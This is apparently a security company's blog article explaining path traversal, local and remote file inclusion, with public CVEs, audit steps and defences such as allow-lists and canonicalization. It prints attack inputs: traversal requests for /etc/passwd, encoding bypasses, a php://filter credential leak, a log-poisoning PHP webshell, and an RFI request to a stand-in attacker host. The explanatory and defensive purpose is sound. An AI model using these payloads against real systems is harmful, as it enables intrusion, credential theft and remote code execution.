ofensiva
path traversal
directory traversal
LFI

Path Traversal, LFI & RFI: Attacks and Defence

What path traversal, LFI and RFI are: the ../ mechanism, PHP wrappers, log poisoning, allow_url_include, real CVEs, detection and defence with allow-lists.

SecraJuly 6, 202611 min read

Path traversal, LFI and RFI are three closely related web vulnerabilities that share the same root cause: an application that builds file paths from user controlled input without validating it. Path traversal (also called directory traversal) lets an attacker escape the intended directory using ../ sequences to read arbitrary files on the server. When that manipulated path also feeds a function that interprets or executes the file, the problem escalates to file inclusion: LFI (local file inclusion) when the included resource lives on the server itself, and RFI (remote file inclusion) when it comes from a URL the attacker controls. Understanding the trio as a continuum, from a simple read of /etc/passwd to full remote code execution, is the only way to audit and defend it with rigour.

The essentials. Path traversal exploits the absence of path canonicalization: ../ walks back up the directory tree until it reaches sensitive files. LFI turns that read into execution through PHP wrappers (php://filter), log poisoning or inclusion of /proc/self/environ. RFI, less common today, requires allow_url_include=On and loads remote code directly. Defence combines file allow-lists, canonicalization with base directory verification, indirect references by identifier, open_basedir, least privilege and a WAF as a complementary layer, never as the only barrier.

What path traversal is: the ../ mechanism

Path traversal appears when the application takes a file name or path from a parameter (?file=, ?page=, ?lang=, a header, a cookie or the request body) and concatenates it with a base path without normalising it. The ../ sequence (or ..\ on Windows) tells the file system to move up one level in the directory tree. By chaining enough hops, the attacker reaches the system root and descends toward the target:

GET /download?file=../../../../etc/passwd HTTP/1.1

If the backend does something equivalent to readFile("/var/www/uploads/" + file), the effective path resolves to /etc/passwd and the contents are returned to the client. On Windows the classic targets are C:\Windows\win.ini or C:\Windows\System32\drivers\etc\hosts. The reference files used to confirm the vulnerability are usually /etc/passwd, /etc/hosts, the application's own configuration files, or private keys in known locations.

Where naive filters exist, bypass techniques come into play. Simple URL encoding turns ../ into %2e%2e%2f; double encoding into %252e%252e%252f, useful when a proxy or WAF decodes once and the application decodes again. Filters that strip ../ non recursively fall to ....//, which reforms ../ after the substitution. In old PHP (before 5.3.4) the null byte %00 truncated the string and cancelled forced extensions such as an appended .php. There are also overlong UTF-8 representations and backslash variants that break brittle deny lists. The lesson mirrors SSRF: pattern blocklists lose against encoding creativity.

From path traversal to LFI: local file inclusion

The qualitative jump happens when the controlled path is not merely read but passed to a function that interprets the file. In PHP the canonical case is include, require, include_once or require_once over a user variable:

$page = $_GET['page'];
include("/var/www/pages/" . $page . ".php");

With ?page=../../../../etc/passwd%00 (on vulnerable versions) or equivalent paths, the attacker includes files outside the intended directory. Reading /etc/passwd is just the opening demonstration. The real goal of LFI is code execution, and several well established paths lead there.

PHP wrappers and filters

PHP exposes internal streams that are accessible as paths. The php://filter wrapper reads the application's own source code by encoding it in base64, which prevents the interpreter from executing it and returns the literal text:

?page=php://filter/convert.base64-encode/resource=config

Decoding the result yields the source of config.php, including database credentials. Other wrappers widen the surface: data:// and php://input allow PHP code to be injected directly into the request; zip:// and phar:// have been used to trigger insecure deserialization when processing archive files. The modern php://filter chain technique can even generate executable payloads without a prior file, by combining encoding conversions in sequence.

Log poisoning and /proc inclusion

When wrappers are unavailable, log poisoning remains effective. The attacker sends a request whose User-Agent (or any field the server logs) contains PHP code, for example <?php system($_GET['c']); ?>. That text is written to access.log. Next, they include the log itself via LFI:

?page=../../../../var/log/apache2/access.log&c=id

The interpreter processes the log as PHP and runs the command. Equivalent variants target /var/log/mail, session files under /var/lib/php/sessions/, or /proc/self/environ, where injecting code into headers that end up in environment variables achieves the same effect. This step from read to execution is what turns an LFI into a critical incident, very close in impact to an insecure file upload that leads to a webshell.

RFI: remote file inclusion

RFI takes inclusion one step further: instead of a local file, the application loads a resource from a remote URL the attacker controls.

?page=http://attacker.tld/shell.txt

If the server interprets the remote content as code, the attacker achieves direct remote execution by hosting their webshell on their own infrastructure. In PHP this requires two active directives: allow_url_fopen=On (common) and, above all, allow_url_include=On, which has been disabled by default for many versions. That default deactivation has sharply reduced the prevalence of classic RFI compared with LFI, which depends on no remote configuration at all. Even so, RFI resurfaces in legacy applications, misconfigured environments and frameworks that reintroduce remote loading without warning. Wrappers such as data:// also enable RFI without an external server, embedding the payload in the URL itself.

Path traversal, LFI and RFI: key differences

AspectPath traversalLFIRFI
Action on the fileReadLocal inclusion and interpretationInclusion of remote resource
Content originServer filesystemServer filesystemAttacker controlled URL
Typical impactInformation disclosureRCE via wrappers or log poisoningDirect RCE
Key requirementUnvalidated read functionInclusion function (include/require)allow_url_include=On
Prevalence 2026HighHighLow

All three share the same root cause, user input reaching a filesystem operation, which is why they are best treated as a family. The practical difference is the outcome: path traversal leaks, LFI and RFI execute.

Real impact and public CVEs

Path traversal appears persistently in the CVE catalogue, often with consequences well beyond the leak of a single file. Apache HTTP Server 2.4.49 carried CVE-2021-41773, a path traversal that, with the right configuration, led to arbitrary file reads and remote code execution; the 2.4.50 patch proved incomplete and prompted CVE-2021-42013. In the world of corporate VPNs, CVE-2018-13379 in Fortinet FortiOS allowed session files to be read and cleartext credentials to be leaked through a manipulated path, and CVE-2019-11510 in Pulse Connect Secure offered pre authentication arbitrary file read. In security products, CVE-2026-34926 in Trend Micro Apex One shows that not even defensive solutions are exempt. The common pattern is constant: unvalidated path input, no verification against a base directory, and excessive process privileges that amplify the reach of what can be read or executed.

Detection in an audit

Detection combines automated fuzzing with manual verification. In a web audit, the usual flow is:

  1. Enumerate every parameter that accepts file names, paths, templates or page identifiers, including headers and cookies.
  2. Inject traversal payloads with varied encodings (../, %2e%2e%2f, %252e, ....//, backslashes) aimed at known reference files.
  3. Confirm the read with a benign, stable file (/etc/hostname, win.ini) before escalating.
  4. Test PHP wrappers (php://filter, data://) to distinguish a read only traversal from an executable LFI.
  5. Verify RFI by pointing the parameter at a controlled external collaborator and observing the outbound request.

The tooling includes Burp Suite with Intruder for payload fuzzing, ffuf and wfuzz for discovery, dotdotpwn as a traversal specific fuzzer, and Nuclei templates for mass detection. Manual confirmation remains essential: scanners catch obvious patterns but miss partially effective filters, double decodings and wrapper chains that only an analyst with framework context identifies. Path traversal is one of the recurring findings in any serious web application penetration test.

Defence in depth

Sound defence attacks the root cause and adds layers in case one fails.

Avoid passing user input to the filesystem. The most robust design never builds paths from user data. Instead, it uses indirect references: the user sends an identifier (?doc=17) that the application translates internally into a file through a map or a query, never exposing the real path.

File or name allow-list. When a choice among several resources is needed, the value is validated against a closed allow-list of permitted names. Anything not on the list is rejected. Blocklists of dangerous patterns are insufficient for the encoding reasons already seen.

Canonicalization with base directory verification. Resolve the path to its canonical form (realpath() in PHP, Path.normalize plus prefix comparison in Node or Java) and check that the result still lies within the allowed base directory. If the canonical path escapes that root, deny it.

Disable remote inclusion. allow_url_include=Off (the default) and, where feasible, allow_url_fopen=Off close the door to RFI. Restricting or disabling dangerous wrappers also limits the LFI to execution vectors.

Isolation and least privilege. open_basedir confines PHP to a specific subtree. Running the process as a user without permission over sensitive files, together with containers, chroot or namespaces, reduces the impact of an arbitrary read to what that user can actually see.

WAF as a complementary layer. A WAF with the OWASP Core Rule Set detects and blocks many traversal payloads, but it is a containment barrier, not the fix. An attacker patient enough to try alternative encodings eventually evades generic rules; the WAF buys time, the code fix closes the flaw.

Within the OWASP framework, path traversal is classified under A01:2021 Broken Access Control, while the inclusion vectors that lead to execution connect with A03:2021 Injection. The OWASP Web Security Testing Guide dedicates specific tests (WSTG-ATHZ-01) to verifying traversal and file inclusion.

Frequently asked questions

What is the difference between LFI and RFI?

LFI (local file inclusion) includes files that already reside on the server and achieves execution through wrappers, log poisoning or /proc/self/environ. RFI (remote file inclusion) loads a resource from a remote attacker controlled URL and executes code directly, but requires allow_url_include=On, disabled by default in modern PHP. LFI is far more common today.

Does path traversal always lead to code execution?

No. In its basic form it only allows reading arbitrary files, which is already a serious leak (credentials, source code, private keys). It escalates to execution only when the manipulated path feeds a function that interprets the file, or when it is combined with log poisoning, wrappers or a prior file upload.

Is a WAF enough to protect against this?

Not as the only measure. The OWASP Core Rule Set blocks obvious payloads, but double encodings, ....//, UTF-8 variants and wrapper chains evade generic rules with relative ease. The WAF is a valuable containment layer that must accompany, never replace, canonicalization and allow-lists in the code.

What is log poisoning in an LFI?

It is the technique that turns a read only LFI into execution. The attacker injects PHP code into a field the server logs (for example the User-Agent), which gets written to access.log. They then include that log via the LFI, and the interpreter executes the injected code. It also works with session files and with /proc/self/environ.

Do modern frameworks protect me automatically?

Partially. Frameworks that serve static files usually canonicalize paths and validate base directories. The risk returns when the developer builds paths manually, uses include over user variables, or reintroduces remote loading. Effective protection still requires indirect references and explicit validation, not reliance on implicit defaults.

Auditing path traversal, LFI and RFI with Secra

At Secra we treat the path traversal, LFI and RFI trio as first order findings within our web application audits, aligned with the OWASP Top 10 and the Web Security Testing Guide. We enumerate every parameter that reaches the filesystem, test encodings and wrapper chains, verify the possibility of execution via log poisoning, and confirm RFI exposure with controlled collaborators. We deliver findings prioritised by real impact, reproducible test cases and concrete hardening recommendations: indirect references, canonicalization with base directory verification, open_basedir, least privilege and WAF rules adapted to your architecture. If you need to validate your applications' exposure before an attacker does, write to us through our web and mobile audit service and we will plan a review tailored to the scope of your platform.

About the author

Secra Solutions team

Ethical hackers with OSCP, OSEP, OSWE, CRTO, CRTL and CARTE certifications, 7+ years of experience in offensive cybersecurity, and authors of CVE-2025-40652 and CVE-2023-3512.

Share article